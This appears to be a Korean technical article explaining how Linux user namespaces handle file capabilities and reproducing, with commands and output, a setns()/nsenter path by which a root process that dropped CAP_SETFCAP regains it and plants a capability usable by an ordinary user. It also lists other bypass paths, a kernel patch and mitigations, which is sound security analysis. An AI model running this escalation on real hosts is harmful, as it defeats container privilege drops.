컨테이너 런타임은 user namespace 안에서 root를 바깥 root에 그대로 매핑(root-mapped)하기도 한다. 이때 안쪽 root가 파일에 capability를 붙이면 그 capability는 바깥에서도 유효하다. 그래서 런타임은 초기화 후 CAP_SETFCAP을 버린다. 조셉 바식(Josef Bacik)은 이렇게 버린 권한을 다시 얻는 경로를 찾아 패치를 올렸다.
이 글에서는 파일 capability가 user namespace에서 동작하는 방식을 정리한다. 또한 setns()로 CAP_SETFCAP을 되찾는 경로를 현재 커널에서 재현한다. 실험 환경은 Ubuntu 24.04, 커널 6.8.0-147-generic, util-linux 2.39.3이다.
배경 개념
| 개념 | 요점 |
|---|---|
| user namespace | namespace를 만든 프로세스는 그 안에서 모든 capability를 가진다. 바깥 권한은 늘지 않는다 |
uid_map | 안쪽 UID와 바깥 UID의 대응. 한 번만 쓸 수 있다. 권한이 없으면 자기 UID에만 매핑할 수 있다 |
| 파일 capability | security.capability xattr. 이 파일을 실행하는 프로세스가 지정한 capability를 얻는다 |
| v2 xattr | 소유 namespace 정보가 없다. 모든 namespace에서 유효하다 |
| v3 xattr | rootid를 기록한다. 그 UID가 root인 namespace 안에서만 유효하다 |
일반 사용자가 붙인 capability는 v3로 저장된다
UID 1000 사용자가 자기 user namespace 안에서 setcap을 실행한다.
cp /usr/sbin/capsh ./capsh-v3
unshare -Ur setcap cap_net_raw+ep ./capsh-v3
getcap -n ./capsh-v3
python3 -c "import os,sys;print(os.getxattr(sys.argv[1],'security.capability').hex())" ./capsh-v3/tmp/uns-demo/u/capsh-v3 cap_net_raw=ep [rootid=1000]
0100000300200000000000000000000000000000e8030000
커널이 xattr을 v3로 바꿔 저장했다. 바이트를 리틀 엔디언으로 읽으면 다음과 같다.
| 바이트 | 값 | 의미 |
|---|---|---|
01000003 | 0x03000001 | revision 3, effective 플래그 |
00200000 | 0x00002000 | permitted 비트 13 = CAP_NET_RAW |
00000000 × 3 | 0 | inheritable, 상위 32비트 |
e8030000 | 1000 | rootid |
같은 사용자가 바깥에서 이 파일을 실행하면 capability를 얻지 못한다.
$ ./capsh-v3 --print | grep -E '^Current'
Current: =
Current IAB:
5.12가 넣은 방어
root-mapped namespace에서는 rootid가 0이다. 그래서 커널은 v2로 저장하고, capability는 바깥에서도 유효하다. 5.12는 CAP_SETFCAP이 없는 프로세스가 root 매핑을 만들지 못하게 했다. 아래 명령은 모두 root로 실행했다.
capsh --drop=cap_setfcap -- -c "setcap cap_net_raw+ep ./capsh-copy; echo rc=\$?"
capsh --drop=cap_setfcap -- -c "unshare -U --map-user=0 --map-group=0 id; echo rc=\$?"unable to set CAP_SETFCAP effective capability: Operation not permitted
rc=1
unshare: write failed /proc/self/uid_map: Operation not permitted
rc=1
CAP_SETFCAP을 버린 root는 파일 capability를 직접 쓸 수 없다. 새 root-mapped namespace를 만들어 권한을 되찾는 것도 막혔다.
setns()로 CAP_SETFCAP 되찾기
바식이 지적한 첫 번째 경로를 재현한다. 프로세스 A는 모든 capability를 가진 root다. A가 root-mapped namespace를 만든다. 프로세스 B는 CAP_SETFCAP이 없는 root다. B는 setns()로 A의 namespace에 들어간다.
# A: 모든 capability를 가진 root가 root-mapped namespace를 만든다
unshare -U --map-user=0 --map-group=0 sleep 300 & APID=$!
cat /proc/$APID/uid_map
# B: CAP_SETFCAP을 버린 root가 A의 namespace에 들어간다
capsh --drop=cap_setfcap -- -c "grep CapEff /proc/self/status; \
nsenter -U -t $APID sh -c 'grep CapEff /proc/self/status; \
setcap cap_net_raw+ep ./capsh-copy; echo rc=\$?'"
getcap -n ./capsh-copy
python3 -c "import os,sys;print(os.getxattr(sys.argv[1],'security.capability').hex())" ./capsh-copy 0 0 1
CapEff: 000001ff7fffffff
CapEff: 000001ffffffffff
rc=0
/tmp/uns-demo/capsh-copy cap_net_raw=ep
0100000200200000000000000000000000000000
B의 capability는 40개에서 41개로 돌아왔다. 빠졌던 비트 31이 CAP_SETFCAP이다. 저장된 xattr은 rootid가 없는 v2다.
$ capsh --decode=000001ffffffffff | tr , "\n" | grep -c cap_
41
$ capsh --decode=000001ff7fffffff | tr , "\n" | grep -c cap_
40
바깥의 일반 사용자(UID 1000)가 이 파일을 실행하면 CAP_NET_RAW를 얻는다.
$ su noble -c "./capsh-copy --print | grep -E '^Current'"
Current: cap_net_raw=ep
Current IAB:
바식 패치가 막는 경로
5.12의 방어는 namespace를 만든 프로세스가 CAP_SETFCAP을 가졌는지만 불리언(parent_could_setfcap)으로 기록한다. 패치는 이 값을 정수 setfcap_level로 바꾼다. 이 값은 CAP_SETFCAP이 상위 namespace 몇 단계까지 유효한지 나타낸다.
| 우회 경로 | 현재 커널 | 패치 후 |
|---|---|---|
B가 A의 namespace에 setns() | 성공 (위 실험) | B의 setfcap_level이 대상보다 낮으면 EPERM |
A가 열어 둔 uid_map fd를 B가 쓴다 | 열 때만 검사하므로 성공 | 쓸 때 상위 root 매핑까지 닿는지 검사 |
| A가 B의 새 namespace에 root 매핑을 쓴다 | 성공 | 파일 capability를 쓸 때 writer의 setfcap_level 검사 |
B가 같은 euid인 A를 ptrace() | 성공 | tracer의 setfcap_level이 낮으면 거부 |
아직 매핑을 쓰지 않은 namespace도 검사 대상이다. 나중에 root-mapped가 될 수 있기 때문이다. 시리즈는 v8까지 나왔고, 최근 버전은 테스트 추가에 집중했다.
주의사항
- root-mapped user namespace를 보안 경계로 쓰지 말 것. 파일 capability만의 문제가 아니다.
SCM_CREDENTIALS로 전달되는 UID도 바깥에서 root로 보인다. 공유 파일 시스템에 만든 setuid 파일도 마찬가지다. CAP_SETFCAP을 버린 프로세스를 다른 root 프로세스와 같은 euid로 두지 말 것. 위 실험처럼setns()나ptrace()로 권한을 되찾을 수 있다.- 권한을 버리기 전에
uid_mapfd를 닫을 것. 현재 커널은 쓰기 시점이 아니라 열기 시점에 권한을 검사한다. - 패치가 들어간 커널에서는
setns()실패를 처리할 것. 지금은 성공하는 호출이EPERM을 돌려줄 수 있다. - 실험은 버려도 되는 호스트에서만 할 것. 일반 사용자가 실행할 수 있는 capability 파일이 실제로 생긴다.
마무리
user namespace의 파일 capability 격리는 rootid 하나에 기대고 있다. root-mapped namespace에서는 이 값이 0이 되어 격리가 사라진다. 바식의 패치는 그 위에 “권한이 몇 단계까지 닿는가”라는 검사를 더한다. 하지만 경로가 많은 만큼, root를 root에 매핑하는 설계 자체를 피하는 편이 안전하다.